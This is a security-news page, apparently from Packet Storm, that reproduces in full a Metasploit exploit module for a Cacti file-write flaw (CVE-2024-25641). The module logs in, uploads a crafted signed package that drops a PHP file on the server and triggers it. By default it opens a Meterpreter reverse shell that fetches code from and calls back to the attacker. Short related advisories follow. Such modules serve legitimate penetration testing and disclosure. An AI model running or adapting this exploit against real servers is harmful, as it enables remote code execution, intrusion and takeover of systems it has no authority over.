Security
Headlines
HeadlinesLatestCVEs

Headline

Cacti Import Packages Remote Code Execution

This exploit module leverages an arbitrary file write vulnerability in Cacti versions prior to 1.2.27 to achieve remote code execution. It abuses the Import Packages feature to upload a specially crafted package that embeds a PHP file. Cacti will extract this file to an accessible location. The module finally triggers the payload to execute arbitrary PHP code in the context of the user running the web server. Authentication is needed and the account must have access to the Import Packages feature. This is granted by setting the Import Templates permission in the Template Editor section.

Packet Storm
#csrf#vulnerability#web#windows#linux#git#php#rce#xpath#auth#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Cacti  include Msf::Payload::Php  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Cacti Import Packages RCE',        'Description' => %q{          This exploit module leverages an arbitrary file write vulnerability          (CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It          abuses the `Import Packages` feature to upload a specially crafted          package that embeds a PHP file. Cacti will extract this file to an          accessible location. The module finally triggers the payload to execute          arbitrary PHP code in the context of the user running the web server.          Authentication is needed and the account must have access to the          `Import Packages` feature. This is granted by setting the `Import          Templates` permission in the `Template Editor` section.        },        'License' => MSF_LICENSE,        'Author' => [          'Egidio Romano', # Initial research and discovery          'Christophe De La Fuente' # Metasploit module        ],        'References' => [          [ 'URL', 'https://karmainsecurity.com/KIS-2024-04'],          [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88'],          [ 'CVE', '2024-25641']        ],        'Platform' => ['unix linux win'],        'Privileged' => false,        'Arch' => [ARCH_PHP, ARCH_CMD],        'Targets' => [          [            'PHP',            {              'Arch' => ARCH_PHP,              'Platform' => 'php',              'Type' => :php,              'DefaultOptions' => {                # Payload is not set automatically when selecting this target.                # Select Meterpreter by default                'PAYLOAD' => 'php/meterpreter/reverse_tcp'              }            }          ],          [            'Linux Command',            {              'Arch' => ARCH_CMD,              'Platform' => [ 'unix', 'linux' ],              'DefaultOptions' => {                # Payload is not set automatically when selecting this target.                # Select a x64 fetch payload by default.                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'              }            }          ],          [            'Windows Command',            {              'Arch' => ARCH_CMD,              'Platform' => 'win',              'DefaultOptions' => {                # Payload is not set automatically when selecting this target.                # Select a x64 fetch payload by default.                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter_reverse_tcp'              }            }          ]        ],        'DisclosureDate' => '2024-05-12',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]        }      )    )    register_options(      [        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),        OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),        OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])      ]    )  end  def check    # Step 1 - Check if the target is Cacti and get the version    print_status('Checking Cacti version')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'index.php'),      'method' => 'GET',      'keep_cookies' => true    )    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?    html = res.get_html_document    begin      cacti_version = parse_version(html)      version_msg = "The web server is running Cacti version #{cacti_version}"    rescue Msf::Exploit::Cacti::CactiNotFoundError => e      return CheckCode::Safe(e.message)    rescue Msf::Exploit::Cacti::CactiVersionNotFoundError => e      return CheckCode::Unknown(e.message)    end    if Rex::Version.new(cacti_version) < Rex::Version.new('1.2.27')      print_good(version_msg)    else      return CheckCode::Safe(version_msg)    end    # Step 2 - Login    @csrf_token = parse_csrf_token(html)    return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?    begin      do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)    rescue Msf::Exploit::Cacti::CactiError => e      return CheckCode::Unknown("Login failed: #{e}")    end    @logged_in = true    # Step 3 - Check if the user has enough permissions to reach `package_import.php`    print_status('Checking permissions to access `package_import.php`')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'package_import.php'),      'method' => 'GET',      'keep_cookies' => true    )    return CheckCode::Unknown('Could not access `package_import.php` - no response') if res.nil?    return CheckCode::Unknown("Could not access `package_import.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200    # The form with the CSRF token input field is not present when access is denied    if parse_csrf_token(res.get_html_document).empty?      return CheckCode::Safe('Could not access `package_import.php` - insufficient permissions')    end    CheckCode::Appears  end  # Taken from modules/payloads/singles/php/exec.rb  def php_exec(cmd)    dis = '$' + rand_text_alpha(4..7)    shell = <<-END_OF_PHP_CODE    #{php_preamble(disabled_varname: dis)}    $c = base64_decode("#{Rex::Text.encode_base64(cmd)}");    #{php_system_block(cmd_varname: '$c', disabled_varname: dis)}    END_OF_PHP_CODE    Rex::Text.compress(shell)  end  def generate_package    @payload_path = "resource/#{rand_text_alphanumeric(5..10)}.php"    php_payload = target['Type'] == :php ? payload.encoded : php_exec(payload.encoded)    digest = OpenSSL::Digest.new('SHA256')    pkey = OpenSSL::PKey::RSA.new(2048)    file_signature = pkey.sign(digest, php_payload)    xml_data = <<~XML      <xml>         <files>            <file>               <name>#{@payload_path}</name>               <data>#{Rex::Text.encode_base64(php_payload)}</data>               <filesignature>#{Rex::Text.encode_base64(file_signature)}</filesignature>            </file>         </files>         <publickey>#{Rex::Text.encode_base64(pkey.public_key.to_pem)}</publickey>         <signature></signature>      </xml>    XML    signature = pkey.sign(digest, xml_data)    xml_data.sub!('<signature></signature>', "<signature>#{Rex::Text.encode_base64(signature)}</signature>")    Rex::Text.gzip(xml_data)  end  def upload_package    print_status('Uploading the package')    # Default parameters sent when importing packages from the web UI    # Randomizing these values might be suspicious    vars_form = {      '__csrf_magic' => @csrf_token,      'trust_signer' => 'on',      'data_source_profile' => '1',      'remove_orphans' => 'on',      'replace_svalues' => 'on',      'image_format' => '3',      'graph_height' => '200',      'graph_width' => '700',      'save_component_import' => '1',      'preview_only' => 'on',      'action' => 'save'    }    vars_form_data = []    vars_form.each do |name, data|      vars_form_data << { 'name' => name, 'data' => data }    end    vars_form_data << {      'name' => 'import_file',      'filename' => "#{rand_text_alphanumeric(5..10)}.xml.gz",      'content_type' => 'application/x-gzip',      'encoding' => 'binary',      'data' => generate_package    }    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'package_import.php'),      'method' => 'POST',      'keep_cookies' => true,      'vars_form_data' => vars_form_data    )    fail_with(Failure::Unreachable, 'Could not connect to the web server - no response when sending the preview import request') if res.nil?    fail_with(Failure::UnexpectedReply, "Unexpected response code (#{res.code}) when sending the preview import request") unless res.code == 200    html = res.get_html_document    local_path = html.xpath('//input[starts-with(@id, "chk_file")]/@title').text    fail_with(Failure::Unknown, 'Unable to import the package') if local_path.empty?    vars_form['preview_only'] = ''    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'package_import.php'),      'method' => 'POST',      'keep_cookies' => true,      'vars_post' => vars_form    )    fail_with(Failure::Unreachable, 'Could not connect to the web server - no response when importing the package') if res.nil?    fail_with(Failure::UnexpectedReply, "Unexpected response code when importing the package (#{res.code})") unless res.code == 302    local_path  end  def trigger_payload    # Expecting no response    print_status('Triggering the payload')    send_request_cgi({      'uri' => normalize_uri(target_uri.path, @payload_path),      'method' => 'GET'    }, 1)  end  def exploit    # Setting the `FETCH_DELETE` option seems to break the payload execution.    # `Msf::Exploit::FileDropper` will be used later to cleanup. Note that it    # is not possible to opt-out anymore.    fail_with(Failure::BadConfig, 'FETCH_DELETE must be set to false') if datastore['FETCH_DELETE']    unless @csrf_token      begin        @csrf_token = get_csrf_token      rescue CactiError => e        fail_with(Failure::NotFound, "Unable to get the CSRF token: #{e.class} - #{e}")      end    end    unless @logged_in      begin        do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)      rescue CactiError => e        fail_with(Failure::NoAccess, "Login failure: #{e.class} - #{e}")      end    end    package_path = upload_package    register_file_for_cleanup(package_path)    # For fetch payloads, setting the `FETCH_DELETE` option seems to break the    # payload execution. Using `#register_file_for_cleanup` instead, since we    # know the local path.    if target['Type'] != :php && payload_instance.is_a?(Msf::Payload::Adapter::Fetch)      if File.absolute_path?(datastore['FETCH_FILENAME'])        register_file_for_cleanup(datastore['FETCH_FILENAME'])      else        register_file_for_cleanup(File.join(File.dirname(package_path), datastore['FETCH_FILENAME']))      end    end    trigger_payload  endend

Related news

Ubuntu Security Notice USN-6969-1

Ubuntu Security Notice 6969-1 - It was discovered that Cacti did not properly apply checks to the "Package Import" feature. An attacker could possibly use this issue to perform arbitrary code execution. This issue only affected Ubuntu 24.04 LTS, Ubuntu 22.04 LTS, Ubuntu 20.04 LTS and Ubuntu 18.04 LTS. It was discovered that Cacti did not properly sanitize values when using javascript based API. A remote attacker could possibly use this issue to inject arbitrary javascript code resulting into cross-site scripting vulnerability. This issue only affected Ubuntu 24.04 LTS.

Cacti 1.2.26 Remote Code Execution

Cacti versions 1.2.26 and below suffer from a remote code execution execution vulnerability in import.php.

Packet Storm: Latest News

CUPS IPP Attributes LAN Remote Code Execution